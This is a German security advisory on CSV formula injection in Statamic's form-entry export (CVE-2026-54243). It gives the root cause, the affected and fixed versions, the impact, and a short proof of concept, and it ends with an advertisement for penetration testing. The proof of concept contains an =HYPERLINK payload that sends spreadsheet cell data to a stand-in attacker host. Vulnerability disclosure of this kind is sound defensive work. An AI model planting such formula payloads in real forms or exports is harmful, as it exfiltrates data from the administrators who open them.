Statamic: CSV Formula Injection in Formular-Exporten

Nicht authentifizierte Formularabsender können Tabellenkalkulations-Formeln in Felder eintragen, die der CSV-Export der Formular-Eingänge ungefiltert übernimmt; sie werden in der Tabellenkalkulation eines Control-Panel-Benutzers ausgewertet, der den Export öffnet.

Advisory-ID: TP-2026-015
Produkt: Statamic (Laravel-basiertes, flat-file-orientiertes CMS)
Schwachstellentyp: CSV Formula Injection (CWE-1236)
CVE: CVE-2026-54243
CVSS 3.1: 6.1 (Mittel) · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Betroffene Versionen: < 5.73.24, < 6.20.1
Behoben in: 5.73.24, 6.20.1
Hersteller-Advisory: GHSA-h77m-qrj7-jxcw
Gemeldet: 31. Mai 2026

Zusammenfassung

Statamic ist ein Laravel-basiertes, flat-file-orientiertes CMS. Beim Export von Formular-Eingängen als CSV werden die von Besuchern übermittelten Feldwerte unverändert geschrieben, ohne die für Tabellenkalkulationen gefährlichen Steuerzeichen am Feldanfang (=, +, -, @) zu neutralisieren. Ein nicht authentifizierter Absender kann daher in ein Formularfeld eine Formel eintragen, die als solche in die CSV-Datei gelangt. Öffnet ein Control-Panel-Benutzer den Export anschließend in Excel, LibreOffice Calc oder Google Sheets, wertet die Tabellenkalkulation den Wert als Formel aus. Die Schwachstelle wirkt damit nicht in Statamic selbst, sondern in der Tabellenkalkulation des Bearbeiters, der den Export ansieht. turingpoint hat den Ablauf verifiziert und verantwortungsvoll an den Hersteller gemeldet.

Ursache

Der CSV-Exporter der Formular-Eingänge (src/Forms/Exporters/CsvExporter.php) schreibt die Werte über League\Csv\Writer, ohne einen Formel-Escaping-Formatter (EscapeFormula) zu registrieren. Damit gelangen Feldwerte, die mit einem der Steuerzeichen =, +, - oder @ beginnen, unverändert in die CSV-Zellen. Diese Werte stammen aus den Eingaben der Formularabsender, die bei öffentlich erreichbaren Formularen nicht authentifiziert sind. Tabellenkalkulationen interpretieren mit diesen Zeichen beginnende Zellinhalte standardmäßig als Formeln, sodass etwa =HYPERLINK(...) beim Öffnen des Exports zur Datenexfiltration genutzt werden kann. Da der Export im Control Panel von einem privilegierten Benutzer ausgelöst und geöffnet wird, trifft die Auswertung dessen Arbeitsumgebung.

Proof of Concept

Voraussetzung ist ein öffentlich erreichbares Statamic-Formular und ein Control-Panel-Benutzer, der die Eingänge als CSV exportiert:

# 1) Als nicht authentifizierter Besucher ein oeffentliches Statamic-Formular
#    absenden und in ein Textfeld eine Tabellenkalkulations-Formel eintragen:
Feldwert:  =HYPERLINK("https://attacker.example/?c="&A1,"Klick")

# Weitere Trigger-Zeichen am Feldanfang: =  +  -  @

# 2) Ein Control-Panel-Benutzer exportiert die Formular-Eingaenge als CSV
#    (Form > Export) und oeffnet die Datei in Excel/LibreOffice/Google Sheets.

# 3) Die Tabellenkalkulation wertet den Zellinhalt als Formel aus:
#    =HYPERLINK exfiltriert beim Klick Zelldaten an den Angreifer,
#    andere Formeln koennen je nach Anwendung weitere Aktionen ausloesen.

Da der Exporter die Steuerzeichen nicht neutralisiert, bleibt die Formel in der CSV-Zelle erhalten und wird beim Öffnen in der Tabellenkalkulation des Bearbeiters ausgewertet.

Auswirkung

  • Ausführung von Tabellenkalkulations-Formeln in der Anwendung eines Control-Panel-Benutzers, der einen CSV-Export öffnet.
  • Datenexfiltration aus der geöffneten Tabelle, etwa über =HYPERLINK, sowie je nach Anwendung weitere durch Formeln ausgelöste Aktionen.
  • Auslösbar durch nicht authentifizierte Formularabsender; die Wirkung tritt in der Tabellenkalkulation des Bearbeiters ein, nicht in Statamic selbst.

Referenzen

Steckt so etwas in Ihrer Software?

Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.